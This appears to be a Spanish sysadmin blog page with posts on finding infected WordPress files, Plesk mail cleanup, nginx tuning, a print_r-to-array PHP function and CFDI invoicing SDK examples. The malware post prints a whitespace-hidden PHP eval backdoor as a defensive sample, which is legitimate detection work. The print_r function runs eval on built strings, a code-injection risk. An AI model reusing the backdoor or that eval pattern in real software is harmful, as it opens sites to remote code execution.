Buscar este blog

martes, 18 de agosto de 2020

Detectar archivos infectados en wordpress y páginas web

 Es muy común que los sitios son atacados por hackers modificando o añadiendo archivos malignos (infectados), principalmente sitios elaborador con wordpress


Este comando te ayuda a detectar esos archivos, lo tienes que ejecutar por shell (ssh)

 

 

 grep -R  'eval(' /home3/m*/public_html/*  | grep -v 'Binary file' | grep -v '.css:' | grep -v '.js'  | grep -v retriev |grep -v evalua | grep -v revalida | grep -v jquery | grep -v '.po:' | grep -v doubleval | grep -v 'INSTR(LCASE('  | grep -v '(strpos(strtolower($entry' | grep -v PCLZIP | grep -v 'INSTR('  > /root/lista.txt && cat /root/lista.txt && cat /root/lista.txt | mail -s "Backup" -a /root/lista.txt tucorreo@algo.com





rojo remplazar
azul remplazar con instrucciones





instrucciones azul

/home /home2 /home3  es la unidad de disco a escanear

en el ejemplo esta
/home3/m*   =  disco 3 todos los usuarios cpanel que comiencen con M

/home3/medix   =  disco 3 escanear al usuario  medix

/home3/*   =  disco 3 todos los usuarios

/home2/*   =  disco 2 todos los usuarios

/home/*   =  disco 1 todos los usuarios

etc...



que hace el comando

Busca todos los archivos que contengan el comando eval , ese es el comando mas utilizado por atacantes, en un 99%;  PD no siempre entran por este comando pero casi siempre lo usan para una vez infectado atacar al sitio o hacer sus cosas.

luego perfecciono el comando con otros tipos de ataques o amenazas


Aclaraciones del resultado, este resultado muestra los archivos con ese comando, no significa que estén infectados , intente eliminar la mayor cantidad de usos buenos

Típicos  archivos maliciosos



caracteres raros


tiendadebuceo/history.php:<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q64cbee'])){eval(${$s20}['q64cbee']);}?><?php


una cadena de muchas letras y numeros acompañados de un eval



eval(base64decode("mnAISDNQmnmxsa98hjn98lkASDumw3idmnaSDYB)ebiSAD867b3iu97ASDFNBIAJdn783hkjABSND783b2kjbnSAkjdnjuahsd3wb98HJb7983bkashdbashjdbajshbda....



 

 

 

lunes, 18 de mayo de 2020

Vaciar carpeta spam y trash en Plesk + dovecot

Plesk + Dovecot

Este ejemplo es para eliminar correos con 2 semanas de antigüedad (2w) desde shell

Desde shell ejecutar


# doveadm expunge -u micuenta@midominio.com mailbox INBOX.Spam before 2w;
# doveadm expunge -u micuenta@midominio.com mailbox INBOX.Trash before 2w;



o para aplicarlo a todos los correos en un servidor plesk


for i in $(plesk bin mail -l | tr '\t' ' ' | cut -d' ' -f 3-); do doveadm expunge -u "$i" mailbox INBOX.Spam before 2w; done
for i in $(plesk bin mail -l | tr '\t' ' ' | cut -d' ' -f 3-); do doveadm expunge -u "$i" mailbox INBOX.Trash before 2w; done




este segundo lo pueden añadir a cron



miércoles, 13 de mayo de 2020

Optimizar WordPress + Plesk + nginx



  1. Activar en plesk nginx
  2. En plesk ir al dominio
  3. ir a Configuración de Apache y nginx 
  4. desactivar   
  5. añadir en Directivas adicionales de nginx el siguiente codigo




if (!-e $request_filename) {
set $test P;
}
if ($uri !~ ^/(plesk-stat|webstat|webstat-ssl|ftpstat|anon_ftpstat|awstats-icon|internal-nginx-static-location)) {
set $test "${test}C";
}
if ($test = PC) {
rewrite ^/(.*)$ /index.php?$1;
}

# GZIP Compression
gzip on;
gzip_disable "MSIE [1-6]\\.(?!.*SV1)";
gzip_min_length 1100;
gzip_buffers 4 32k;
gzip_proxied any;
gzip_comp_level 9;
gzip_types text/plain text/css application/javascript application/x-javascript text/xml application/xml application/xml+rss text/javascript image/x-icon image/bmp image/svg+xml;
gzip_vary on;

# NGINX Caching
location ~* \.(?:ico|css|js|gif|jpe?g|png|svg|woff)$ {
    expires 30d;
    add_header Cache-Control "public";
    log_not_found off;
}

location ~* \.(jpg|jpeg|gif|png)$ {
    expires 365d;
    log_not_found off;
}

location ~* \.(pdf|css|html|js|swf)$ {
    expires 2d;
    log_not_found off;
}

location ~ \.css {
    add_header  Content-Type    text/css;
}
location ~ \.js {
    add_header  Content-Type    application/x-javascript;
}

# SECURITY
location ~* wp-config.php { deny all; }
location ~* "^/wp-content/(?!plugins/).*\.php" { deny all; }




Ahora ir a Configuración de PHP

memory_limit   = 200M
max_execution_time  = 15
post_max_size = 16M
upload_max_filesize =16M
opcache.enable  = on


Y listo, Wordpress volará


No olvides complementar con buenos caches de WordPress, de preferencia que ulticen APC y MemCache para mejorar su desempeño







viernes, 17 de mayo de 2019

funcion convertir cadena print_r a arreglo


Función print_r a arreglo


Les comparto esta función que permite pasar de una cadena generada de print_r hacia un arreglo


modo de uso


$cadena="Array
(
    [PAC] => Array
        (
            [usuario] => DEMO700101XXX
            [pass] => DEMO700101XXX
            [produccion] => NO
        )

    [conf] => Array
        (
            [cer] => ../../certificados/lan7008173r5.cer.pem
            [key] => ../../certificados/lan7008173r5.key.pem
            [pass] => 12345678a
        )

    [version_cfdi] => 3.3
    [cfdi] => C:\SDK2\timbrados\ejemplo_arrendamiento.xml
    [xml_debug] => C:\SDK2\timbrados\debug_ejemplo_arrendamiento.xml
    [php_openssl] => SI
    [factura] => Array
        (
            [serie] => A
            [folio] => 100
            [fecha_expedicion] => 2019-05-10T09:10:19
            [metodo_pago] => PUE
            [forma_pago] => 01
            [tipocomprobante] => I
            [moneda] => MXN
            [tipocambio] => 1.0
            [LugarExpedicion] => 27000
            [RegimenFiscal] => 601
            [subtotal] => 1000
            [total] => 840
        )

    [emisor] => Array
        (
            [rfc] => LAN7008173R5
            [nombre] => ACCEM SERVICIOS EMPRESARIALES SC
        )

    [receptor] => Array
        (
            [rfc] => SOHM7509289MA
            [nombre] => MIGUEL ANGEL SOSA HERNANDEZ
            [UsoCFDI] => P01
        )

    [conceptos] => Array
        (
            [0] => Array
                (
                    [ClaveProdServ] => 84111506
                    [cantidad] => 1
                    [unidad] => NO APLICA
                    [ClaveUnidad] => ACT
                    [descripcion] => RENTA DE OFICINA MAYO 2014
                    [valorunitario] => 1000.00
                    [importe] => 1000.00
                    [CuentaPredial] => Array
                        (
                            [Numero] => 12345678
                        )

                    [Impuestos] => Array
                        (
                            [Traslados] => Array
                                (
                                    [0] => Array
                                        (
                                            [Base] => 1000.00
                                            [Impuesto] => 002
                                            [TasaOCuota] => 0.160000
                                            [Importe] => 160.00
                                            [TipoFactor] => Tasa
                                        )

                                )

                            [Retenciones] => Array
                                (
                                    [0] => Array
                                        (
                                            [Impuesto] => 002
                                            [Importe] => 160.00
                                            [Base] => 1000.00
                                            [TasaOCuota] => 0.160000
                                            [TipoFactor] => Tasa
                                        )

                                    [1] => Array
                                        (
                                            [Impuesto] => 001
                                            [Importe] => 160.00
                                            [Base] => 1000.00
                                            [TasaOCuota] => 0.160000
                                            [TipoFactor] => Tasa
                                        )

                                )

                        )

                )

        )

    [impuestos] => Array
        (
            [TotalImpuestosTrasladados] => 160.00
            [TotalImpuestosRetenidos] => 320.00
            [translados] => Array
                (
                    [0] => Array
                        (
                            [Impuesto] => 002
                            [TasaOCuota] => 0.160000
                            [Importe] => 160.00
                            [TipoFactor] => Tasa
                        )

                )

            [retenciones] => Array
                (
                    [0] => Array
                        (
                            [Impuesto] => 002
                            [importe] => 160.00
                        )

                    [1] => Array
                        (
                            [impuesto] => 001
                            [importe] => 160.00
                        )

                )

        )

)";

$arreglo=print_r_reverza($cadena);

y listo....

IMPORTANTE: esta primer version no es compatible si el valor tiene  comillas, parentesis, palabra array , llaves o [ ]




function print_r_reverza($cadena)
{
    $cadena=str_replace("\r",'',$cadena);
    $renglones=explode("\n",$cadena);
    $linea_con_coma=true;
    $cadena_final='$datos=';
    foreach($renglones AS $renglon)
    {
        if(strlen($renglon)<1)
            continue;
           
            if($renglon=='(' OR $renglon==')' OR $renglon=='Array' )
            {
                $linea_con_coma=false;           
            }
            else
            {
                $linea_con_coma=true;
            }
           
           
            if(strpos($renglon,'=>'))
            {
               $renglon=formato_renglon($renglon);
   
               
               
            }
            else
            {
   
                $renglon=str_replace('"Array",','array ',$renglon);
                $renglon=str_replace('Array','array',$renglon);
               
    //            echo "$renglon<br/>";       
            }
           
               if($linea_con_coma==true)
               {
                    $cadena_final.="$renglon\",";
               }
               else
               {
                    $cadena_final.="$renglon\n";
               }
              
               $cadena_final=str_replace(',)',')',$cadena_final);
   
    }
   
   
    $cadena_final="$cadena_final;";
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
    $cadena_final=str_replace('  ',' ',$cadena_final);
   
    $cadena_final=str_replace('"Array",','array ',$cadena_final);
    $cadena_final=str_replace('"Array,','array ',$cadena_final);
   
    $cadena_final=str_replace('(",','(',$cadena_final);
    $cadena_final=str_replace(', )"',')',$cadena_final);
    eval($cadena_final);

    return $datos;  
}



function formato_renglon($renglon)
{

       $renglon=str_replace('=> ','=> "',$renglon);
       $renglon=str_replace('[','"',$renglon);
       $renglon=str_replace(']','"',$renglon);

    return $renglon;
}


martes, 11 de diciembre de 2018

Codigos de respuesta de cancelacion sat 2018

Codigos de respuesta de cancelacion sat 2018





Ejemplo cancelacion cfdi 2018 en java
Ejemplo cancelacion cfdi 2018 en c sharp
Ejemplo cancelacion cfdi 2018 en windows
Mas informacion y ejemplos de cancelacion en htttp://multifacturas.com

lunes, 10 de diciembre de 2018

Facturacion electronica SAT Ejemplo crear xml cfdi Complemento Turista Extranjero en php

Facturacion electronica SAT Ejemplo crear xml cfdi Complemento Turista Extranjero en php

// Se especifica la zona horaria
date_default_timezone_set('America/Mexico_City');

// Se incluye el SDK
require_once '../../sdk2.php';

// Se especifica la version de CFDi 3.3
$datos['version_cfdi'] = '3.3';

// SE ESPECIFICA EL COMPLEMENTO
$datos['complemento'] = 'tpe10';

// Ruta del XML Timbrado
$datos['cfdi']='../../timbrados/ejemplo_factura_turistape10.xml';

// Ruta del XML de Debug
$datos['xml_debug']='../../timbrados/debug_ejemplo_factura_turistape10.xml';

// Credenciales de Timbrado
$datos['PAC']['usuario'] = 'DEMO700101XXX';
$datos['PAC']['pass'] = 'DEMO700101XXX';
$datos['PAC']['produccion'] = 'NO';

// Rutas y clave de los CSD
$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';
$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';
$datos['conf']['pass'] = '12345678a';

// Datos de la Factura
$datos['factura']['condicionesDePago'] = 'CONDICIONES';
$datos['factura']['descuento'] = '0.00';
$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);
$datos['factura']['folio'] = '100';
$datos['factura']['forma_pago'] = '01';
$datos['factura']['LugarExpedicion'] = '45079';
$datos['factura']['metodo_pago'] = 'PUE';
$datos['factura']['moneda'] = 'MXN';
$datos['factura']['serie'] = 'A';
$datos['factura']['subtotal'] = '100.00';
$datos['factura']['tipocambio'] = '1';
$datos['factura']['tipocomprobante'] = 'I';
$datos['factura']['total'] = '100.00';
$datos['factura']['RegimenFiscal'] = '601';

// Datos del Emisor
$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA
$datos['emisor']['nombre'] = 'CINDEMEX SA DE CV';  // EMPRESA DE PRUEBA

// Datos del Receptor
$datos['receptor']['rfc'] = 'XAXX010101000';
$datos['receptor']['nombre'] = 'Publico en General';
$datos['receptor']['UsoCFDI'] = 'G01';

// Se agregan los conceptos
for ($i = 1; $i <= 1; $i++)
{
    $datos['conceptos'][$i]['cantidad'] = '1.00';
    $datos['conceptos'][$i]['unidad'] = 'PZ';
    $datos['conceptos'][$i]['ID'] = "COD$i";
    $datos['conceptos'][$i]['descripcion'] = "PRODUCTO $i";
    $datos['conceptos'][$i]['valorunitario'] = '100.00';
    $datos['conceptos'][$i]['importe'] = '100.00';
    $datos['conceptos'][$i]['ClaveProdServ'] = '01010101';
    $datos['conceptos'][$i]['ClaveUnidad'] = 'C81';
}

// Se agregan los Impuestos
$datos['impuestos']['TotalImpuestosTrasladados'] = '0.00';
$datos['impuestos']['translados'][0]['impuesto'] = '003';
$datos['impuestos']['translados'][0]['tasa'] = '0.160000';
$datos['impuestos']['translados'][0]['importe'] = '0.00';
$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';

// Complemento Turista Extrangero
$datos['tpe10']['fechadeTransito']='2017-01-01T00:00:00';
$datos['tpe10']['tipoTransito']='Arribo';

$datos['tpe10']['datosTransito']['Via']='Aérea';
$datos['tpe10']['datosTransito']['TipoId']='05-04-2017';
$datos['tpe10']['datosTransito']['NumeroId']='gaar930830mcl';
$datos['tpe10']['datosTransito']['Nacionalidad']='8';
$datos['tpe10']['datosTransito']['EmpresaTransporte']='4';
$datos['tpe10']['datosTransito']['IdTransporte']='oil';

// Se ejecuta el SDK
$res= mf_genera_cfdi($datos);


///////////    MOSTRAR RESULTADOS DEL ARRAY $res   ///////////

echo "<h1>Respuesta Generar XML y Timbrado</h1>";
foreach($res AS $variable=>$valor)
{
    $valor=htmlentities($valor);
    $valor=str_replace('&lt;br/&gt;','<br/>',$valor);
    echo "<b>[$variable]=</b>$valor<hr>";
}

EL KIT DE DESARROLLO TE REGRESA


  • EL CFDI XML EN FORMATO TEXTO
  • EL ARCHIVO XML DEL CFDI
  • EL PNG QR DEL CODIGO BIDIMENCIONAL
  • EL ARCHIVO PNG DEL CODIGO QR
  • EL PAC CON EL QUE FUE TIMBRADO
  • EL UUID
  • LA CADENA ORIGINAL
  • EL NO DE CERTIFACADO DEL SAT
  • EL SELLO DEL SAT
  • ENTRE OTROS DATOS 

MAS EJEMPLOS

  • Ejemplo crear xml cfdi recibos de pagos sat
  • Ejemplo crear xml cfdi recibos de nomina sat
  • Ejemplo crear xml cfdi recibos de honorarios sat
  • Ejemplo crear xml cfdi notas de credito sat
  • Ejemplo crear xml cfdi comercio exterior sat
  • Ejemplo crear xml cfdi pago en parcialidades sat
  • Ejemplo crear xml cfdi impuestos locales sat
  • Ejemplo crear xml cfdi factura de hoteles sat
  • Ejemplo crear xml cfdi divisas sat
  • Ejemplo crear xml cfdi aerolineas sat
  • ETC ETC



Mas informacion y ejemplos de facturacion electronica en http://multifacturas.com

domingo, 9 de diciembre de 2018

Facturacion electronica SAT Ejemplo crear xml cfdi Pagos en especie en php

Facturacion electronica SAT Ejemplo crear xml cfdi Pagos en especie en php

// Se especifica la zona horaria
date_default_timezone_set('America/Mexico_City');

// Se incluye el SDK
require_once '../../sdk2.php';

// Se especifica la version de CFDi 3.3
$datos['version_cfdi'] = '3.3';

// SE ESPECIFICA EL COMPLEMENTO
$datos['complemento'] = 'pagoenespecie10';

// Ruta del XML Timbrado
$datos['cfdi']='../../timbrados/ejemplo_factura_pagoenespecie10.xml';

// Ruta del XML de Debug
$datos['xml_debug']='../../timbrados/debug_ejemplo_factura_pagoenespecie10.xml';

// Credenciales de Timbrado
$datos['PAC']['usuario'] = 'DEMO700101XXX';
$datos['PAC']['pass'] = 'DEMO700101XXX';
$datos['PAC']['produccion'] = 'NO';

// Rutas y clave de los CSD
$datos['conf']['cer'] = '../../certificados/lan7008173r5.cer.pem';
$datos['conf']['key'] = '../../certificados/lan7008173r5.key.pem';
$datos['conf']['pass'] = '12345678a';

// Datos de la Factura
$datos['factura']['condicionesDePago'] = 'CONDICIONES';
$datos['factura']['descuento'] = '0.00';
$datos['factura']['fecha_expedicion'] = date('Y-m-d\TH:i:s', time() - 120);
$datos['factura']['folio'] = '100';
$datos['factura']['forma_pago'] = '01';
$datos['factura']['LugarExpedicion'] = '45079';
$datos['factura']['metodo_pago'] = 'PUE';
$datos['factura']['moneda'] = 'MXN';
$datos['factura']['serie'] = 'A';
$datos['factura']['subtotal'] = '100.00';
$datos['factura']['tipocambio'] = '1';
$datos['factura']['tipocomprobante'] = 'I';
$datos['factura']['total'] = '100.00';
$datos['factura']['RegimenFiscal'] = '601';

// Datos del Emisor
$datos['emisor']['rfc'] = 'LAN7008173R5'; //RFC DE PRUEBA
$datos['emisor']['nombre'] = 'ACCEM SERVICIOS EMPRESARIALES SC';  // EMPRESA DE PRUEBA

// Datos del Receptor
$datos['receptor']['rfc'] = 'XAXX010101000';
$datos['receptor']['nombre'] = 'Publico en General';
$datos['receptor']['UsoCFDI'] = 'G01';

// Se agregan los conceptos
for ($i = 1; $i <= 1; $i++)
{
    $datos['conceptos'][$i]['cantidad'] = '1.00';
    $datos['conceptos'][$i]['unidad'] = 'PZ';
    $datos['conceptos'][$i]['ID'] = "COD$i";
    $datos['conceptos'][$i]['descripcion'] = "PRODUCTO $i";
    $datos['conceptos'][$i]['valorunitario'] = '100.00';
    $datos['conceptos'][$i]['importe'] = '100.00';
    $datos['conceptos'][$i]['ClaveProdServ'] = '01010101';
    $datos['conceptos'][$i]['ClaveUnidad'] = 'C81';
}

// Se agregan los Impuestos
$datos['impuestos']['TotalImpuestosTrasladados'] = '0.00';
$datos['impuestos']['translados'][0]['impuesto'] = '003';
$datos['impuestos']['translados'][0]['tasa'] = '0.160000';
$datos['impuestos']['translados'][0]['importe'] = '0.00';
$datos['impuestos']['translados'][0]['TipoFactor'] = 'Tasa';

// Complemento Pago en Especie
$datos['pagoenespecie10']['CvePIC']='A&C8317286A1-18000101-020';
$datos['pagoenespecie10']['FolioSolDon']='PE-22-12345';
$datos['pagoenespecie10']['PzaArtNombre']='Las Flores';
$datos['pagoenespecie10']['PzaArtTecn']='Cubismo';
$datos['pagoenespecie10']['PzaArtAProd']='2013';
$datos['pagoenespecie10']['PzaArtDim']='50cmx100cm';

// Se ejecuta el SDK
$res= mf_genera_cfdi($datos);


///////////    MOSTRAR RESULTADOS DEL ARRAY $res   ///////////

echo "<h1>Respuesta Generar XML y Timbrado</h1>";
foreach($res AS $variable=>$valor)
{
    $valor=htmlentities($valor);
    $valor=str_replace('&lt;br/&gt;','<br/>',$valor);
    echo "<b>[$variable]=</b>$valor<hr>";
}


EL KIT DE DESARROLLO TE REGRESA


  • EL CFDI XML EN FORMATO TEXTO
  • EL ARCHIVO XML DEL CFDI
  • EL PNG QR DEL CODIGO BIDIMENCIONAL
  • EL ARCHIVO PNG DEL CODIGO QR
  • EL PAC CON EL QUE FUE TIMBRADO
  • EL UUID
  • LA CADENA ORIGINAL
  • EL NO DE CERTIFACADO DEL SAT
  • EL SELLO DEL SAT
  • ENTRE OTROS DATOS 

MAS EJEMPLOS

  • Ejemplo crear xml cfdi recibos de pagos sat
  • Ejemplo crear xml cfdi recibos de nomina sat
  • Ejemplo crear xml cfdi recibos de honorarios sat
  • Ejemplo crear xml cfdi notas de credito sat
  • Ejemplo crear xml cfdi comercio exterior sat
  • Ejemplo crear xml cfdi pago en parcialidades sat
  • Ejemplo crear xml cfdi impuestos locales sat
  • Ejemplo crear xml cfdi factura de hoteles sat
  • Ejemplo crear xml cfdi divisas sat
  • Ejemplo crear xml cfdi aerolineas sat
  • ETC ETC



Mas informacion y ejemplos de facturacion electronica en http://multifacturas.com

Detectar archivos infectados en wordpress y páginas web

 Es muy común que los sitios son atacados por hackers modificando o añadiendo archivos malignos (infectados), principalmente sitios elaborad...